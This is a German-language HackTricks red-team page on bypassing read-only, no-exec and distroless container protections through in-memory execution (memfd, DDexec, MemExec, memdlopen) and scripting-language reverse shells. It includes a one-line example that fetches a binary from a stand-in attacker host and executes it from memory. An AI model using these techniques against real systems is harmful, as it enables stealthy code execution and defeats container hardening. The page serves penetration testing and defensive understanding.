Bypass FS protections: read-only / no-exec / Distroless

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!

• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise

• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.

Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).

Careers | stmcyber.com | penetration testingstmcyber.com

Videos

In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erklärt:

• DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion

• Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023

Nur-Lesen / Keine-Ausführung-Szenario

Es wird immer häufiger, Linux-Maschinen mit Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem, insbesondere in Containern, zu finden. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von readOnlyRootFilesystem: true im securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Auch wenn das Dateisystem als ro eingebunden ist, wird /dev/shm dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit einer Keine-Ausführung-Schutzmaßnahme eingebunden, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese nicht ausführen können.

Aus der Sicht eines Red Teams wird es dadurch kompliziert, Binärdateien herunterzuladen und auszuführen, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie kubectl).

Einfachster Umgehungsweg: Skripte

Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können jedes Skript ausführen, solange der Interpreter innerhalb der Maschine vorhanden ist, wie ein Shell-Skript, wenn sh vorhanden ist, oder ein Python-Skript, wenn python installiert ist.

Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwerkzeuge, die Sie ausführen müssen, auszuführen.

Speicherumgehungen

Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die Schutzmaßnahmen dort nicht gelten.

FD + exec-Systemaufruf-Umgehung

Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie Python, Perl oder Ruby, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (create_memfd-Systemaufruf), der nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen exec-Systemaufruf aufrufen, wobei der fd als auszuführende Datei angegeben wird.

Hierfür können Sie das Projekt fileless-elf-exec verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der Binärdatei komprimiert und b64-codiert generieren, mit den Anweisungen zum Dekodieren und Dekomprimieren in einem fd, das durch Aufruf des create_memfd-Systemaufrufs erstellt wurde, und einem Aufruf des exec-Systemaufrufs zum Ausführen.

Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine Standardmethode zum Aufrufen von Rohsystemaufrufen aus einem Skript haben. Daher ist es nicht möglich, create_memfd aufzurufen, um das Speicher-FD zum Speichern der Binärdatei zu erstellen.

Darüber hinaus wird das Erstellen eines regulären FDs mit einer Datei in /dev/shm nicht funktionieren, da Sie es nicht ausführen dürfen, da die Keine-Ausführung-Schutzmaßnahme angewendet wird.

DDexec / EverythingExec

DDexec / EverythingExec ist eine Technik, die es Ihnen ermöglicht, den Speicher Ihres eigenen Prozesses zu modifizieren, indem Sie seinen /proc/self/mem überschreiben.

Daher können Sie, indem Sie den vom Prozess ausgeführten Assemblercode kontrollieren, ein Shellcode schreiben und den Prozess "mutieren", um beliebigen Code auszuführen.

DDexec / EverythingExec ermöglicht es Ihnen, Ihren eigenen Shellcode oder beliebige Binärdateien aus dem Speicher zu laden und auszuführen.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen DDexec-Shellcode-Dämon, sodass Sie jedes Mal, wenn Sie eine andere Binärdatei ausführen möchten, nicht DDexec neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen.

Ein Beispiel, wie Sie Memexec verwenden können, um Binärdateien von einer PHP-Reverse-Shell auszuführen, finden Sie unter https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Mit einem ähnlichen Zweck wie DDexec ermöglicht die Memdlopen-Technik eine einfachere Möglichkeit, Binärdateien im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden.

Distroless Bypass

Was ist Distroless

Distroless-Container enthalten nur die absolut notwendigen Komponenten, um eine bestimmte Anwendung oder einen bestimmten Dienst auszuführen, wie Bibliotheken und Laufzeitabhängigkeiten, aber schließen größere Komponenten wie einen Paketmanager, eine Shell oder Systemdienstprogramme aus.

Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu verringern, indem unnötige Komponenten eliminiert und die Anzahl der ausnutzbaren Schwachstellen minimiert werden.

Reverse-Shell

In einem Distroless-Container finden Sie möglicherweise nicht einmal sh oder bash, um eine reguläre Shell zu erhalten. Sie finden auch keine Binärdateien wie ls, whoami, id... alles, was Sie normalerweise in einem System ausführen.

Daher werden Sie keine Reverse-Shell erhalten oder das System wie gewohnt durchsuchen können.

Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine Python-Reverse-Shell erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede Skriptsprache.

Mit der Skriptsprache könnten Sie das System durch die Fähigkeiten der Sprache durchsuchen.

Wenn es keine read-only/no-exec-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um Ihre Binärdateien im Dateisystem zu schreiben und sie auszuführen.

In diesen Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die vorherigen Speicherausführungstechniken verwenden, um sie zu umgehen.

Sie finden Beispiele, wie Sie einige RCE-Schwachstellen ausnutzen können, um Skriptsprachen Reverse-Shells zu erhalten und Binärdateien aus dem Speicher auszuführen, unter https://github.com/carlospolop/DistrolessRCE.